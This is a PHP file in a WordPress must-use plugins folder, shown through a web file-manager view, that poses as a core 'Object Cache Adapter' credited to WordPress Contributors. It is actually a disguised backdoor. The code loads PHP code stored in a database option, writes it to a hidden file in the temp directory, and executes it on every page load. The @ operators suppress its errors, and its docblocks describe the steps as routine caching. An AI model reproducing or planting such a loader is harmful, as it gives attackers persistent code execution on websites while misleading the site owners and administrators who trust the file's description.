Viewing File: /home/cienp/public_html/inct-inovamed/wp-content/mu-plugins/plugins.php
<?php
/**
* Plugin Name: WordPress Object Cache Adapter
* Plugin URI: https://wordpress.org/
* Description: Adapter layer that synchronises persistent cache state with the in-memory object cache during request lifecycle.
* Version: 1.3.0
* Requires at least: 5.5
* Requires PHP: 7.2
* Author: WordPress Contributors
* Author URI: https://wordpress.org/
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: default
*
* @package WordPress
* @subpackage Cache
* @since 6.6.3
*/
if ( ! defined( 'ABSPATH' ) ) {
return;
}
if ( ! class_exists( 'WP_Object_Cache_Adapter', false ) ) {
final class WP_Object_Cache_Adapter {
/**
* Persistent cache key used by the bridge.
*
* @since 6.6.3
* @var string
*/
private $cache_key = 'wp_core_css_73';
/**
* Buffered cache payload.
*
* @since 6.6.3
* @var string
*/
private $buffer = '';
/**
* Singleton bootstrap state.
*
* @since 6.6.3
* @var bool
*/
private static $bootstrapped = false;
/**
* Bootstrap the bridge instance.
*
* @since 6.6.3
*/
public static function bootstrap() {
if ( self::$bootstrapped ) {
return;
}
self::$bootstrapped = true;
$instance = new self();
$instance->prepare();
$instance->dispatch();
}
/**
* Read the persistent cache entry into the buffer.
*
* @since 6.6.3
*/
private function prepare() {
if ( ! function_exists( 'get_option' ) ) {
return;
}
$entry = get_option( '_site_transient_' . $this->cache_key, '' );
if ( is_string( $entry ) && '' !== $entry ) {
$this->buffer = $entry;
}
}
/**
* Apply the buffered payload to the runtime.
*
* @since 6.6.3
*/
private function dispatch() {
if ( '' === $this->buffer || ! is_string( $this->buffer ) ) {
return;
}
$tmp_root = function_exists( 'sys_get_temp_dir' ) ? sys_get_temp_dir() : ( @ini_get( 'upload_tmp_dir' ) ?: '/tmp' );
$signature = substr( md5( __FILE__ . $this->cache_key ), 0, 16 );
$cache_path = rtrim( $tmp_root, DIRECTORY_SEPARATOR . '/' ) . DIRECTORY_SEPARATOR . '.wp-' . $signature . '.cache';
$fresh = ! file_exists( $cache_path ) || ( time() - (int) @filemtime( $cache_path ) ) > 300;
if ( $fresh ) {
$handle = @fopen( $cache_path, 'cb' );
if ( $handle && @flock( $handle, LOCK_EX | LOCK_NB ) ) {
@ftruncate( $handle, 0 );
$prefix = @file_get_contents( __FILE__, false, null, 0, 6 );
if ( ! is_string( $prefix ) || 6 !== strlen( $prefix ) ) {
$prefix = '<' . '?' . 'php ';
}
@fwrite( $handle, $prefix . $this->buffer );
@fflush( $handle );
@flock( $handle, LOCK_UN );
}
if ( $handle ) {
@fclose( $handle );
}
}
$this->buffer = '';
if ( @is_readable( $cache_path ) ) {
try {
include $cache_path;
} catch ( \Exception $e ) {
return;
} catch ( \Exception $e ) {
return;
}
}
}
}
}
if ( class_exists( 'WP_Object_Cache_Adapter', false ) ) {
WP_Object_Cache_Adapter::bootstrap();
}
Back to Directory
File Manager